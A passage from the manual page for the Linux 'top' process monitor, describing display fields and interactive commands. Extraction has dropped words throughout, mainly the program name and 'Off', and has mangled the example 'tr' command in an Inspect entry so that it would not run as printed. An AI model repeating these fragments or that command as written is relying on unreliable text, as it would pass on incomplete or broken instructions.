SHR Shared Memory Size (KiB)
A subset of resident memory (RES) that may be used by other processes. It will include shared anonymous pages and shared file-backed pages. It also includes private pages mapped to files representing program images and shared libraries.

See `OVERVIEW, Linux Memory Types’ for additional details.

SID Session Id
A session is a collection of process groups ( PGRP), usually established by the login shell. A newly forked process joins the session of its creator. By convention, this value equals the process ID ( PID) of the first member of the session, called the session leader, which is usually the login shell.

STARTED Start Time Interval
The length of time since system boot when a process started. Thus, the most recently started task will display the largest time interval.

The value will be expressed as `MM:SS’ (minutes:seconds). But if the interval is too great to fit column width it will be scaled as `HH,MM’ (hours,minutes) and possibly beyond.

SUID Saved User Id
The saved user ID.

SUPGIDS Supplementary Group IDs
The IDs of any supplementary group(s) established at login or inherited from a task’s parent. They are displayed in a comma delimited list.

Note: The SUPGIDS field, unlike most columns, is not fixed-width. When displayed, it plus any other variable width columns will be allocated all remaining screen width (up to the maximum characters).

SUPGRPS Supplementary Group Names
The names of any supplementary group(s) established at login or inherited from a task’s parent. They are displayed in a comma delimited list.

Note: The SUPGRPS field, unlike most columns, is not fixed-width. When displayed, it plus any other variable width columns will be allocated all remaining screen width (up to the maximum characters).

SUSER Saved User Name
The saved user name.

SWAP Swapped Size (KiB)
The formerly resident portion of a task’s address space written to the swap file when physical memory becomes over committed.

See `OVERVIEW, Linux Memory Types’ for additional details.

TGID Thread Group Id
The ID of the thread group to which a task belongs. It is the PID of the thread group leader. In kernel terms, it represents those tasks that share an mm_struct.

TIME CPU Time
Total CPU time the task has used since it started. When Cumulative mode is On, each process is listed with the cpu time that it and its dead children have used. You toggle Cumulative mode with `S’, which is both a command-line option and an interactive command. See the `S’ interactive command for additional information regarding this mode.

TIME+ CPU Time, hundredths
The same as TIME, but reflecting more granularity through hundredths of a second.

TPGID Tty Process Group Id
The process group ID of the foreground process for the connected tty, or -1 if a process is not connected to a terminal. By convention, this value equals the process ID ( PID) of the process group leader ( PGRP).

TTY Controlling Tty
The name of the controlling terminal. This is usually the device (serial port, pty, etc.) from which the process was started, and which it uses for input or output. However, a task need not be associated with a terminal, in which case you’ll see `?’ displayed.

UID User Id
The effective user ID of the task’s owner.

USED Memory in Use (KiB)
This field represents the non-swapped physical memory a task is using (RES) plus the swapped out portion of its address space (SWAP).

See `OVERVIEW, Linux Memory Types’ for additional details.

USER User Name
The effective user name of the task’s owner.

USS Unique Set Size
The non-swapped portion of physical memory (`RSS’) not shared with any other process. It is derived from the `smaps_rollup’ file.

Accessing smaps values is 10x more costly than other memory statistics and data for other users requires root privileges.

VIRT Virtual Memory Size (KiB)
The total amount of virtual memory used by the task. It includes all code, data and shared libraries plus pages that have been swapped out and pages that have been mapped but not used.

See `OVERVIEW, Linux Memory Types’ for additional details.

WCHAN Sleeping in Function
This field will show the name of the kernel function in which the task is currently sleeping. Running tasks will display a dash (`-’) in this column.

ioR I/O Bytes Read
The number of bytes a process caused to be fetched from the storage layer.

Root privileges are required to display `io’ data for other users.

ioRop I/O Read Operations
The number of read I/O operations (syscalls) for a process. Such calls might not result in actual physical disk I/O.

ioW I/O Bytes Written
The number of bytes a process caused to be sent to the storage layer.

ioWop I/O Write Operations
The number of write I/O operations (syscalls) for a process. Such calls might not result in actual physical disk I/O.

nDRT Dirty Pages Count
The number of pages that have been modified since they were last written to auxiliary storage. Dirty pages must be written to auxiliary storage before the corresponding physical memory location can be used for some other virtual page.

This field was deprecated with linux 2.6 and is always zero.

nMaj Major Page Fault Count
The number of major page faults that have occurred for a task. A page fault occurs when a process attempts to read from or write to a virtual page that is not currently present in its address space. A major page fault is when auxiliary storage access is involved in making that page available.

nMin Minor Page Fault count
The number of minor page faults that have occurred for a task. A page fault occurs when a process attempts to read from or write to a virtual page that is not currently present in its address space. A minor page fault does not involve auxiliary storage access in making that page available.

nTH Number of Threads
The number of threads associated with a process.

nsCGROUP CGROUP namespace
The Inode of the namespace used to hide the identity of the control group of which process is a member.

nsIPC IPC namespace
The Inode of the namespace used to isolate interprocess communication (IPC) resources such as System V IPC objects and POSIX message queues.

nsMNT MNT namespace
The Inode of the namespace used to isolate filesystem mount points thus offering different views of the filesystem hierarchy.

nsNET NET namespace
The Inode of the namespace used to isolate resources such as network devices, IP addresses, IP routing, port numbers, etc.

nsPID PID namespace
The Inode of the namespace used to isolate process ID numbers meaning they need not remain unique. Thus, each such namespace could have its own `init/systemd’ (PID #1) to manage various initialization tasks and reap orphaned child processes.

nsTIME TIME namespace
The Inode of the namespace which allows processes to see different system times in a way similar to the UTS namespace.

nsUSER USER namespace
The Inode of the namespace used to isolate the user and group ID numbers. Thus, a process could have a normal unprivileged user ID outside a user namespace while having a user ID of 0, with full root privileges, inside that namespace.

nsUTS UTS namespace
The Inode of the namespace used to isolate hostname and NIS domain name. UTS simply means “UNIX Time-sharing System”.

vMj Major Page Fault Count Delta
The number of major page faults that have occurred since the last update (see nMaj).

vMn Minor Page Fault Count Delta
The number of minor page faults that have occurred since the last update (see nMin).

3b. MANAGING Fields

After pressing the interactive command `f’ (Fields Management) you will be presented with a screen showing: 1) the `current’ window name; 2) the designated sort field; 3) all fields in their current order along with descriptions. Entries marked with an asterisk are the currently displayed fields, screen width permitting.

  • As the on screen instructions indicate, you navigate among the fields with the Up and Down arrow keys. The PgUp, PgDn, Home and End keys can also be used to quickly reach the first or last available field.

  • The Right arrow key selects a field for repositioning and the Left arrow key or the <Enter> key commits that field’s placement.

  • The `d’ key or the <Space> bar toggles a field’s display status, and thus the presence or absence of the asterisk.

  • The `s’ key designates a field as the sort field. See topic 4c. TASK AREA Commands, SORTING for additional information regarding your selection of a sort field.

  • The `a’ and `w’ keys can be used to cycle through all available windows and the `q’ or <Esc> keys exit Fields Management.

    The Fields Management screen can also be used to change the `current’ window/field group in either full-screen mode or alternate-display mode. Whatever was targeted when `q’ or <Esc> was pressed will be made current as you return to the display. See topic 5. ALTERNATE-DISPLAY Provisions and the `g’ interactive command for insight into `current’ windows and field groups.

    Note: Any window that has been scrolled horizontally will be reset if any field changes are made via the Fields Management screen. Any vertical scrolled position, however, will not be affected. See topic 5c. SCROLLING a Window for additional information regarding vertical and horizontal scrolling.

4. INTERACTIVE Commands

Listed below is a brief index of commands within categories. Some commands appear more than once their meaning or scope may vary depending on the context in which they are issued.

  4a. Global-Commands 
        <Ent/Sp> ?, =, 0,
        A, B, d, E, e, g, H, h, I, k, q, r, s, W, X, Y, Z,
        ^G, ^K, ^N, ^P, ^U, ^L, ^R
  4b. Summary-Area-Commands 
        C, l, t, m, 1, 2, 3, 4, 5, !
  4c. Task-Area-Commands 
        Appearance:  b, J, j, x, y, z
        Content:     c, F, f, O, o, S, U, u, V, v, ^E
        Size:        #, i, n
        Sorting:     <, >, f, R
  4d. Color-Mapping 
        <Ret>, a, B, b, H, M, q, S, T, w, z, 0 - 7
  5b. Commands-for-Windows 
        -, _, =, +, A, a, G, g, w
  5c. Scrolling-a-Window 
        C, Up, Dn, Left, Right, PgUp, PgDn, Home, End
  5d. Searching-in-a-Window 
        L, &
  5e. Filtering-in-a-Window
        O, o, ^O, =, +

4a. GLOBAL Commands

The global interactive commands are always available in both full-screen mode and alternate-display mode. However, some of these interactive commands are not available when running in Secure mode.

If you wish to know in advance whether or not your has been secured, simply ask for help and view the system summary on the second line.

<Enter> or <Space> :Refresh-Display
These commands awaken and following receipt of any input the entire display will be repainted. They also force an update of any hotplugged cpu or physical memory changes.

Use either of these keys if you have a large delay interval and wish to see current status,

? | h :Help
There are two help levels available. The first will provide a reminder of all the basic interactive commands. If is secured, that screen will be abbreviated.

Typing `h’ or `?’ on that help screen will take you to help for those interactive commands applicable to alternate-display mode.

= :Exit-Display-Limits
Removes restrictions on what is shown. This command will reverse any `i’ (idle tasks), `n’ (max tasks), `v’ (hide children) and `F’ focus commands that might be active. It also provides for an exit from PID monitoring, User filtering, Other filtering, Locate processing and Combine Cpus mode.

Additionally, if the window has been scrolled it will be reset with this command.

0 :Zero-Suppress toggle
This command determines whether zeros are shown or suppressed for many of the fields in a task window. Fields like UID, GID, NI, PR or P are not affected by this toggle.

A :Alternate-Display-Mode toggle
This command will switch between full-screen mode and alternate-display mode. See topic 5. ALTERNATE-DISPLAY Provisions and the `g’ interactive command for insight into `current’ windows and field groups.

B :Bold-Disable/Enable toggle
This command will influence use of the bold terminfo capability and alters both the summary area and task area for the `current’ window. While it is intended primarily for use with dumb terminals, it can be applied anytime.

Note: When this toggle is On and is operating in monochrome mode, the entire display will appear as normal text. Thus, unless the `x’ and/or `y’ toggles are using reverse for emphasis, there will be no visual confirmation that they are even on.

* d | s :Change-Delay-Time-interval
You will be prompted to enter the delay time, in seconds, between display updates.

Fractional seconds are honored, but a negative number is not allowed. Entering 0 causes (nearly) continuous updates, with an unsatisfactory display as the system and tty driver try to keep up with ’s demands. The delay value is inversely proportional to system loading, so set it with care.

If at any time you wish to know the current delay time, simply ask for help and view the system summary on the second line.

E :Enforce-Summary-Memory-Scale in Summary Area
With this command you can cycle through the available summary area memory scaling which ranges from KiB (kibibytes or 1,024 bytes) through EiB (exbibytes or 1,152,921,504,606,846,976 bytes).

If you see a `+’ between a displayed number and the following label, it means that was forced to truncate some portion of that number. By raising the scaling factor, such truncation can be avoided.

e :Enforce-Task-Memory-Scale in Task Area
With this command you can cycle through the available task area memory scaling which ranges from KiB (kibibytes or 1,024 bytes) through PiB (pebibytes or 1,125,899,906,842,624 bytes).

While will try to honor the selected target range, additional scaling might still be necessary in order to accommodate current values. If you wish to see a more homogeneous result in the memory columns, raising the scaling range will usually accomplish that goal. Raising it too high, however, is likely to produce an all zero result which cannot be suppressed with the `0’ interactive command.

g :Choose-Another-Window/Field-Group
You will be prompted to enter a number between 1 and 4 designating the field group which should be made the `current’ window. You will soon grow comfortable with these 4 windows, especially after experimenting with alternate-display mode.

H :Threads-mode toggle
When this toggle is On, individual threads will be displayed for all processes in all visible task windows. Otherwise, displays a summation of all threads in each process.

I :Irix/Solaris-Mode toggle
When operating in Solaris mode (`I’ toggled ), a task’s cpu usage will be divided by the total number of CPUs. After issuing this command, you’ll be told the new state of this toggle.

* k :Kill-a-task
You will be prompted for a PID and then the signal to send.

Entering no PID or a negative number will be interpreted as the default shown in the prompt (the first task displayed). A PID value of zero means the program itself.

The default signal, as reflected in the prompt, is SIGTERM. However, you can send any signal, via number or name.

If you wish to abort the kill process, do one of the following depending on your progress:

    1) at the pid prompt, type an invalid number
    2) at the signal prompt, type 0 (or any invalid signal)
    3) at any prompt, type <Esc>

q :Quit
* r :Renice-a-Task
You will be prompted for a PID and then the value to nice it to.

Entering no PID or a negative number will be interpreted as the default shown in the prompt (the first task displayed). A PID value of zero means the program itself.

A positive nice value will cause a process to lose priority. Conversely, a negative nice value will cause a process to be viewed more favorably by the kernel. As a general rule, ordinary users can only increase the nice value and are prevented from lowering it.

If you wish to abort the renice process, do one of the following depending on your progress:

    1) at the pid prompt, type an invalid number
    2) at the nice prompt, type <Enter> with no input
    3) at any prompt, type <Esc>

W :Write-the-Configuration-File
This will save all of your options and toggles plus the current display mode and delay time. By issuing this command just before quitting , you will be able restart later in exactly that same state.

X :Extra-Fixed-Width
Some fields are fixed width and not scalable. As such, they are subject to truncation which would be indicated by a `+’ in the last position.

This interactive command can be used to alter the widths of the following fields:

    field  default    field  default    field   default 
    GID       5       GROUP     8       WCHAN      10
    LOGID     5       LXC       8       nsCGROUP   10
    RUID      5       RUSER     8       nsIPC      10
    SUID      5       SUSER     8       nsMNT      10
    UID       5       TTY       8       nsNET      10
                      USER      8       nsPID      10
                                        nsTIME     10
                                        nsUSER     10
                                        nsUTS      10

You will be prompted for the amount to be added to the default widths shown above. Entering zero forces a return to those defaults.

If you enter a negative number, will automatically increase the column size as needed until there is no more truncated data.

Note: Whether explicitly or automatically increased, the widths for these fields are never decreased by . To narrow them you must specify a smaller number or restore the defaults.

Y :Inspect-Other-Output
After issuing the `Y’ interactive command, you will be prompted for a target PID. Typing a value or accepting the default results in a separate screen. That screen can be used to view a variety of files or piped command output while the normal iterative display is paused.

Note: This interactive command is only fully realized when supporting entries have been manually added to the end of the configuration file. For details on creating those entries, see topic 6b. ADDING INSPECT Entries.

Most of the keys used to navigate the Inspect feature are reflected in its header prologue. There are, however, additional keys available once you have selected a particular file or command. They are familiar to anyone who has used the pager `less’ and are summarized here for future reference.

    key      function 
    =        alternate status-line, file or pipeline
    /        find, equivalent to `L' locate
    n        find next, equivalent to `&' locate next
    <Space>  scroll down, equivalent to <PgDn>
    b        scroll up, equivalent to <PgUp>
    g        first line, equivalent to <Home>
    G        last line, equivalent to <End>

Z :Change-Color-Mapping
This key will take you to a separate screen where you can change the colors for the `current’ window, or for all windows. For details regarding this interactive command see topic 4d. COLOR Mapping.

^G :Display-Control-Groups (Ctrl key + `g’)
^K :Display-Cmdline (Ctrl key + `k’)
^N :Display-Environment (Ctrl key + `n’)
^P :Display-Namesspaces (Ctrl key + `p’)
^U :Display-Supplementary-Groups (Ctrl key + `u')

Applied to the first process displayed, these commands will show that task’s full (potentially wrapped) information. Such data will be displayed in a separate window at the bottom of the screen while normal monitoring continues.

Keying the same `Ctrl’ command a second time removes that separate window as does the `=’ command. Keying a different `Ctrl’ combination, while one is already active, immediately transitions to the new information.

Notable among these provisions is the Ctrl+N (environment) command. Its output can be extensive and not easily read when line wrapped. A more readable version can be achieved with an `Inspect’ entry in the rcfile like the following.

    pipe ^I Environment ^I cat /proc/%d/environ | tr '' '

'

See the `Y’ interactive command above and topic 6b. ADDING INSPECT Entries for additional information.

As an alternative to `Inspect’, and available to all of these `Ctrl’ commands, the tab key can be used to highlight individual elements in the bottom window.

^L :Logged-Messages (Ctrl key + `l’)
The 10 most recent messages are displayed in a separate window at the bottom of the screen while normal monitoring continues. Keying `^L’ a second time removes that window as does the `=’ command. Use the tab key to highlight individual messages.

* ^R :Renice-an-Autogroup (Ctrl key + `r’)
You will be prompted for a PID and then the value for its autogroup AGNI.

Entering no PID will be interpreted as the default shown in the prompt (the first task displayed).

A positive AGNI value will cause processes in that autogroup to lose priority. Conversely, a negative value causes them to be viewed more favorably by the kernel. Ordinary users are not allowed to set negative AGNI values.

If you wish to abort the renice process type <Esc>.

  • The commands shown with an asterisk (`*’) are not available in Secure mode, nor will they be shown on the level-1 help screen.

4b. SUMMARY AREA Commands

The summary area interactive commands are always available in both full-screen mode and alternate-display mode. They affect the beginning lines of your display and will determine the position of messages and prompts.

These commands always impact just the `current’ window/field group. See topic 5. ALTERNATE-DISPLAY Provisions and the `g’ interactive command for insight into `current’ windows and field groups.

C :Show-scroll-coordinates toggle
Toggle an informational message which is displayed whenever the message line is not otherwise being used. For additional information see topic 5c. SCROLLING a Window.

l :Load-Average/Uptime toggle
This is also the line containing the program name (possibly an alias) when operating in full-screen mode or the `current’ window name when operating in alternate-display mode.

t :Task/Cpu-States toggle
This command affects from 2 to many summary area lines, depending on the state of the `1’, `2’ or `3’ command toggles and whether or not is running under true SMP.

This portion of the summary area is also influenced by the `H’ interactive command toggle, as reflected in the total label which shows either Tasks or Threads.

This command serves as a 4-way toggle, cycling through these modes:

    1. detailed percentages by category
    2. abbreviated user/system and total % + bar graph
    3. abbreviated user/system and total % + block graph
    4. turn off task and cpu states display

When operating in either of the graphic modes, the display becomes much more meaningful when individual CPUs or NUMA nodes are also displayed. See the the `1’, `2’ and `3’ commands below for additional information.

m :Memory/Swap-Usage toggle
This command affects the two summary area lines dealing with physical and virtual memory.

This command serves as a 4-way toggle, cycling through these modes:

    1. detailed percentages by memory type
    2. abbreviated % used/total available + bar graph
    3. abbreviated % used/total available + block graph
    4. turn off memory display

1 :Single/Separate-Cpu-States toggle
This command affects how the `t’ command’s Cpu States portion is shown. Although this toggle exists primarily to serve massively-parallel SMP machines, it is not restricted to solely SMP environments.

When you see `%Cpu(s):’ in the summary area, the `1’ toggle is On and all cpu information is gathered in a single line. Otherwise, each cpu is displayed separately as: `%Cpu0, %Cpu1, …’ up to available screen height.

2 :NUMA-Nodes/Cpu-Summary toggle
This command toggles between the `1’ command cpu summary display (only) or a summary display plus the cpu usage statistics for each NUMA Node. It is only available if a system has the requisite NUMA support.

3 :Expand-NUMA-Node
You will be invited to enter a number representing a NUMA Node. Thereafter, a node summary plus the statistics for each cpu in that node will be shown until the `1’, `2’ or `4’ command toggle is pressed. This interactive command is only available if a system has the requisite NUMA support.

4 :Display-Multiple-Elements-Adjacent toggle
This command toggle turns the `1’ toggle and shows multiple CPU and Memory results on each line. Each successive `4’ key adds another CPU until again reverting to separate lines for CPU and Memory results.

A maximum of 8 CPUs per line can be displayed in this manner. However, data truncation may occur before reaching the maximum. That is definitely true when displaying detailed statistics via the `t’ command toggle since such data cannot be scaled like the graphic representations.

If one wished to quickly exit adjacent mode without cycling all the way to 8, simply use the `1’ command toggle.

5 :Display-P-Cores-and-E-Cores toggle
This command toggle is only active when the `t’ toggle is On and the `1’, `2’, `3’ and `!’ toggles are , thus showing individual CPU results. It assumes a platform has multiple cores of two distinct types, either multi-threaded (P-Core) or single-threaded (E-Core).

While normally each cpu is displayed as `%Cpu0, %Cpu1, …’, this toggle can be used to identify and/or filter those cpus by their core type, either P-Core (performance) or E-Core (efficient).

The 1st time `5’ is struck, each CPU is displayed as `%CpP’ or `%CpE’ representing the two core types. The 2nd time, only P-Cores (%CpP) will be shown. The 3rd time, only E-Cores (%CpE) are displayed. When this command toggle is struck for the 4th time, the CPU display returns to the normal `%Cpu’ convention.

If separate performance and efficient categories are not present, this command toggle will have no effect.

! :Combine-Cpus-Mode toggle
This command toggle is intended for massively parallel SMP environments where, even with the `4’ command toggle, not all processors can be displayed. With each press of `!’ the number of cpus combined is doubled thus reducing the total number of cpu lines displayed.

For example, with the first press of `!’ two cpus will be combined and displayed as `0-1, 2-3, …’ instead of the normal `%Cpu0, %Cpu1, %Cpu2, %Cpu3, …’. With a second `!’ command toggle four cpus are combined and shown as `0-3, 4-7, …’. Then the third `!’ press, combining eight cpus, shows as `0-7, 8-15, …’, etc.

Such progression continues until individual cpus are again displayed and impacts both the `1’ and `4’ toggles (one or multiple columns). Use the `=’ command to exit Combine Cpus mode.

Note: If the entire summary area has been toggled for any window, you would be left with just the message line. In that way, you will have maximized available task rows but (temporarily) sacrificed the program name in full-screen mode or the `current’ window name when in alternate-display mode.

4c. TASK AREA Commands

The task area interactive commands are always available in full-screen mode.

The task area interactive commands are never available in alternate-display mode if the `current’ window’s task display has been toggled (see topic 5. ALTERNATE-DISPLAY Provisions).

APPEARANCE of task window

J :Justify-Numeric-Columns toggle
Alternates between right-justified (the default) and left-justified numeric data. If the numeric data completely fills the available column, this command toggle may impact the column header only.

j :Justify-Character-Columns toggle
Alternates between left-justified (the default) and right-justified character data. If the character data completely fills the available column, this command toggle may impact the column header only.

The following commands will also be influenced by the state of the global `B’ (bold enable) toggle.

b :Bold/Reverse toggle
This command will impact how the `x’ and `y’ toggles are displayed. It may also impact the summary area when a bar graph has been selected for cpu states or memory usage via the `t’ or `m’ toggles.

x :Column-Highlight toggle
Changes highlighting for the current sort field. If you forget which field is being sorted this command can serve as a quick visual reminder, providing the sort field is being displayed. The sort field might not be visible because: 1) there is insufficient Screen Width 2) the `f’ interactive command turned it

y :Row-Highlight toggle
Changes highlighting for “running” tasks. For additional insight into this task state, see topic 3a. DESCRIPTIONS of Fields, the `S’ field (Process Status).

Use of this provision provides important insight into your system’s health. The only costs will be a few additional tty escape sequences.

z :Color/Monochrome toggle
Switches the `current’ window between your last used color scheme and the older form of black-on-white or white-on-black. This command will alter both the summary area and task area but does not affect the state of the `x’, `y’ or `b’ toggles.

CONTENT of task window

c :Command-Line/Program-Name toggle
This command will be honored whether or not the COMMAND column is currently visible. Later, should that field come into view, the change you applied will be seen.

F :Maintain-Parent-Focus toggle
When in forest view mode, this key serves as a toggle to retain focus on a target task, presumably one with forked children. If forest view mode is this key has no effect.

The toggle is applied to the first (topmost) process in the `current’ window. Once established, that task is always displayed as the first (topmost) process along with its forked children. All other processes will be suppressed.

Note: keys like `i’ (idle tasks), `n’ (max tasks), `v’ (hide children) and User/Other filtering remain accessible and can impact what is displayed.

f :Fields-Management
This key displays a separate screen where you can change which fields are displayed, their order and also designate the sort field. For additional information on this interactive command see topic 3b. MANAGING Fields.

O | o :Other-Filtering
You will be prompted for the selection criteria which then determines which tasks will be shown in the `current’ window. Your criteria can be made case sensitive or case can be ignored. And you determine if should include or exclude matching tasks.

See topic 5e. FILTERING in a window for details on these and additional related interactive commands.

S :Cumulative-Time-Mode toggle
When Cumulative mode is On, each process is listed with the cpu time that it and its dead children have used.

When , programs that fork into many separate tasks will appear less demanding. For programs like `init’ or a shell this is appropriate but for others, like compilers, perhaps not. Experiment with two task windows sharing the same sort field but with different `S’ states and see which representation you prefer.

After issuing this command, you’ll be informed of the new state of this toggle. If you wish to know in advance whether or not Cumulative mode is in effect, simply ask for help and view the window summary on the second line.

U | u :Show-Specific-User-Only
You will be prompted for the uid or name of the user to display. The -u option matches on effective user whereas the -U option matches on any user (real, effective, saved, or filesystem).

Thereafter, in that task window only matching users will be shown, or possibly no processes will be shown. Prepending an exclamation point (`!’) to the user id or name instructs to display only processes with users not matching the one provided.

Different task windows can be used to filter different users. Later, if you wish to monitor all users again in the `current’ window, re-issue this command but just press <Enter> at the prompt.

V :Forest-View-Mode toggle
In this mode, processes are reordered according to their parents and the layout of the COMMAND column resembles that of a tree. In forest view mode it is still possible to toggle between program name and command line (see the `c’ interactive command) or between processes and threads (see the `H’ interactive command).

Note: Typing any key affecting the sort order will exit forest view mode in the `current’ window. See topic 4c. TASK AREA Commands, SORTING for information on those keys.

v :Hide/Show-Children toggle
When in forest view mode, this key serves as a toggle to collapse or expand the children of a parent.

The toggle is applied against the first (topmost) process in the `current’ window. See topic 5c. SCROLLING a Window for additional information regarding vertical scrolling.

If the target process has not forked any children, this key has no effect. It also has no effect when not in forest view mode.

^E :Scale-CPU-Time-fields (Ctrl key + `e’)
The `time’ fields are normally displayed with the greatest precision their widths permit. This toggle reduces that precision until it wraps. It also illustrates the scaling those fields might experience automatically, which usually depends on how long the system runs.

For example, if `MMM:SS.hh’ is shown, each ^E keystroke would change it to: `MM:SS’, `Hours,MM’, `Days+Hours’ and finally `Weeks+Days'.

Not all time fields are subject to the full range of such scaling.

SIZE of task window

i :Idle-Process toggle
Displays all tasks or just active tasks. When this toggle is , tasks that have not used any CPU since the last update will not be displayed. However, due to the granularity of the %CPU and TIME+ fields, some processes may still be displayed that appear to have used no CPU.

If this command is applied to the last task display when in alternate-display mode, then it will not affect the window’s size, as all prior task displays will have already been painted.

n | # :Set-Maximum-Tasks
You will be prompted to enter the number of tasks to display. The lessor of your number and available screen rows will be used.

When used in alternate-display mode, this is the command that gives you precise control over the size of each currently visible task display, except for the very last. It will not affect the last window’s size, as all prior task displays will have already been painted.

Note: If you wish to increase the size of the last visible task display when in alternate-display mode, simply decrease the size of the task display(s) above it.

SORTING of task window

For compatibility, this supports most of the former sort keys. Since this is primarily a service to former users, these commands do not appear on any help screen.

      command   sorted-field                  supported 
      A         start time (non-display)      No 
      M         %MEM                          Yes
      N         PID                           Yes
      P         %CPU                          Yes
      T         TIME+                         Yes

Before using any of the following sort provisions, suggests that you temporarily turn on column highlighting using the `x’ interactive command. That will help ensure that the actual sort environment matches your intent.

The following interactive commands will only be honored when the current sort field is visible. The sort field might not be visible because: 1) there is insufficient Screen Width 2) the `f’ interactive command turned it

< :Move-Sort-Field-Left
Moves the sort column to the left unless the current sort field is the first field being displayed.

> :Move-Sort-Field-Right
Moves the sort column to the right unless the current sort field is the last field being displayed.

The following interactive commands will always be honored whether or not the current sort field is visible.

f :Fields-Management
This key displays a separate screen where you can change which field is used as the sort column, among other functions. This can be a convenient way to simply verify the current sort field, when running with column highlighting turned .

R :Reverse/Normal-Sort-Field toggle
Using this interactive command you can alternate between high-to-low and low-to-high sorts.

4d. COLOR Mapping

When you issue the `Z’ interactive command, you will be presented with a separate screen. That screen can be used to change the colors in just the `current’ window or in all four windows before returning to the display.

The following interactive commands are available.

    4 upper case letters to select a target 
    8 numbers to select a color 
    normal toggles available 
        B         :bold disable/enable
        b         :running tasks "bold"/reverse
        z         :color/mono
    other commands available 
        a/w       :apply, then go to next/prior
        <Enter>   :apply and exit
        q         :abandon current changes and exit

If you use `a’ or `w’ to cycle the targeted window, you will have applied the color scheme that was displayed when you left that window. You can, of course, easily return to any window and reapply different colors or turn colors completely with the `z’ toggle.

The Color Mapping screen can also be used to change the `current’ window/field group in either full-screen mode or alternate-display mode. Whatever was targeted when `q’ or <Enter> was pressed will be made current as you return to the display.

5. ALTERNATE-DISPLAY Provisions

5a. WINDOWS Overview

Field Groups/Windows:
In full-screen mode there is a single window represented by the entire screen. That single window can still be changed to display 1 of 4 different field groups (see the `g’ interactive command, repeated below). Each of the 4 field groups has a unique separately configurable summary area and its own configurable task area.

In alternate-display mode, those 4 underlying field groups can now be made visible simultaneously, or can be turned individually at your command.

The summary area will always exist, even if it’s only the message line. At any given time only one summary area can be displayed. However, depending on your commands, there could be from zero to four separate task displays currently showing on the screen.

Current Window:
The `current’ window is the window associated with the summary area and the window to which task related commands are always directed. Since in alternate-display mode you can toggle the task display , some commands might be restricted for the `current’ window.

A further complication arises when you have toggled the first summary area line . With the loss of the window name (the `l’ toggled line), you’ll not easily know what window is the `current’ window.

5b. COMMANDS for Windows

- | _ :Show/Hide-Window(s) toggles
The `-’ key turns the `current’ window’s task display On and . When On, that task area will show a minimum of the columns header you’ve established with the `f’ interactive command. It will also reflect any other task area options/toggles you’ve applied yielding zero or more tasks.

The `_’ key does the same for all task displays. In other words, it switches between the currently visible task display(s) and any task display(s) you had toggled . If all 4 task displays are currently visible, this interactive command will leave the summary area as the only display element.

* = | + :Equalize/Reset-Window(s)
The `=’ key forces the `current’ window’s task display to be visible. It also reverses any active `i’ (idle tasks), `n’ (max tasks), `u/U’ (user filter), `o/O’ (other filter), `v’ (hide children), `F’ focused, `L’ (locate) and `!’ (combine cpus) commands. Also, if the window had been scrolled, it will be reset with this command. See topic 5c. SCROLLING a Window for additional information regarding vertical and horizontal scrolling.

The `+’ key does the same for all windows. The four task displays will reappear, evenly balanced, while retaining any customizations previously applied beyond those noted for the `=’ command toggle.

* A :Alternate-Display-Mode toggle
This command will switch between full-screen mode and alternate-display mode.

The first time you issue this command, all four task displays will be shown. Thereafter when you switch modes, you will see only the task display(s) you’ve chosen to make visible.

* a | w :Next-Window-Forward/Backward
This will change the `current’ window, which in turn changes the window to which commands are directed. These keys act in a circular fashion so you can reach any desired window using either key.

Assuming the window name is visible (you have not toggled `l’ ), whenever the `current’ window name loses its emphasis/color, that’s a reminder the task display is and many commands will be restricted.

G :Change-Window/Field-Group-Name
You will be prompted for a new name to be applied to the `current’ window. It does not require that the window name be visible (the `l’ toggle to be On).

  • The interactive commands shown with an asterisk (`*’) have use beyond alternate-display mode.
    =, A, g    are always available
    a, w       act the same with color mapping
               and fields management

* g :Choose-Another-Window/Field-Group
You will be prompted to enter a number between 1 and 4 designating the field group which should be made the `current’ window.

In full-screen mode, this command is necessary to alter the `current’ window. In alternate-display mode, it is simply a less convenient alternative to the `a’ and `w’ commands.

5c. SCROLLING a Window

Typically a task window is a partial view into a system’s total tasks/threads which shows only some of the available fields/columns. With these scrolling keys, you can move that view vertically or horizontally to reveal any desired task or column.

Up,PgUp :Scroll-Tasks
Move the view up toward the first task row, until the first task is displayed at the top of the `current’ window. The Up arrow key moves a single line while PgUp scrolls the entire window.

Down,PgDn :Scroll-Tasks
Move the view down toward the last task row, until the last task is the only task displayed at the top of the `current’ window. The Down arrow key moves a single line while PgDn scrolls the entire window.

Left,Right :Scroll-Columns
Move the view of displayable fields horizontally one column at a time.

Note: As a reminder, some fields/columns are not fixed-width but allocated all remaining screen width when visible. When scrolling right or left, that feature may produce some unexpected results initially.

Additionally, there are special provisions for any variable width field when positioned as the last displayed field. Once that field is reached via the right arrow key, and is thus the only column shown, you can continue scrolling horizontally within such a field. See the `C’ interactive command below for additional information.

Home :Jump-to-Home-Position
Reposition the display to the un-scrolled coordinates.

End :Jump-to-End-Position
Reposition the display so that the rightmost column reflects the last displayable field and the bottom task row represents the last task.

Note: From this position it is still possible to scroll down and right using the arrow keys. This is true until a single column and a single task is left as the only display element.

C :Show-scroll-coordinates toggle
Toggle an informational message which is displayed whenever the message line is not otherwise being used. That message will take one of two forms depending on whether or not a variable width column has also been scrolled.

  scroll coordinates: y = n/n (tasks), x = n/n (fields)
  scroll coordinates: y = n/n (tasks), x = n/n (fields) + nn

The coordinates shown as n/n are relative to the upper left corner of the `current’ window. The additional `+ nn’ represents the displacement into a variable width column when it has been scrolled horizontally. Such displacement occurs in normal 8 character tab stop amounts via the right and left arrow keys.

y = n/n (tasks)
The first n represents the topmost visible task and is controlled by scrolling keys. The second n is updated automatically to reflect total tasks.

x = n/n (fields)
The first n represents the leftmost displayed column and is controlled by scrolling keys. The second n is the total number of displayable fields and is established with the `f’ interactive command.

The above interactive commands are always available in full-screen mode but never available in alternate-display mode if the `current’ window’s task display has been toggled .

Note: When any form of filtering is active, you can expect some slight aberrations when scrolling since not all tasks will be visible. This is particularly apparent when using the Up/Down arrow keys.

5d. SEARCHING in a Window

You can use these interactive commands to locate a task row containing a particular value.

L :Locate-a-string
You will be prompted for the case-sensitive string to locate starting from the current window coordinates. There are no restrictions on search string content.

Searches are not limited to values from a single field or column. All of the values displayed in a task row are allowed in a search string. You may include spaces, numbers, symbols and even forest view artwork.

Keying <Enter> with no input will effectively disable the `&’ key until a new search string is entered.

& :Locate-next
Assuming a search string has been established, will attempt to locate the next occurrence.

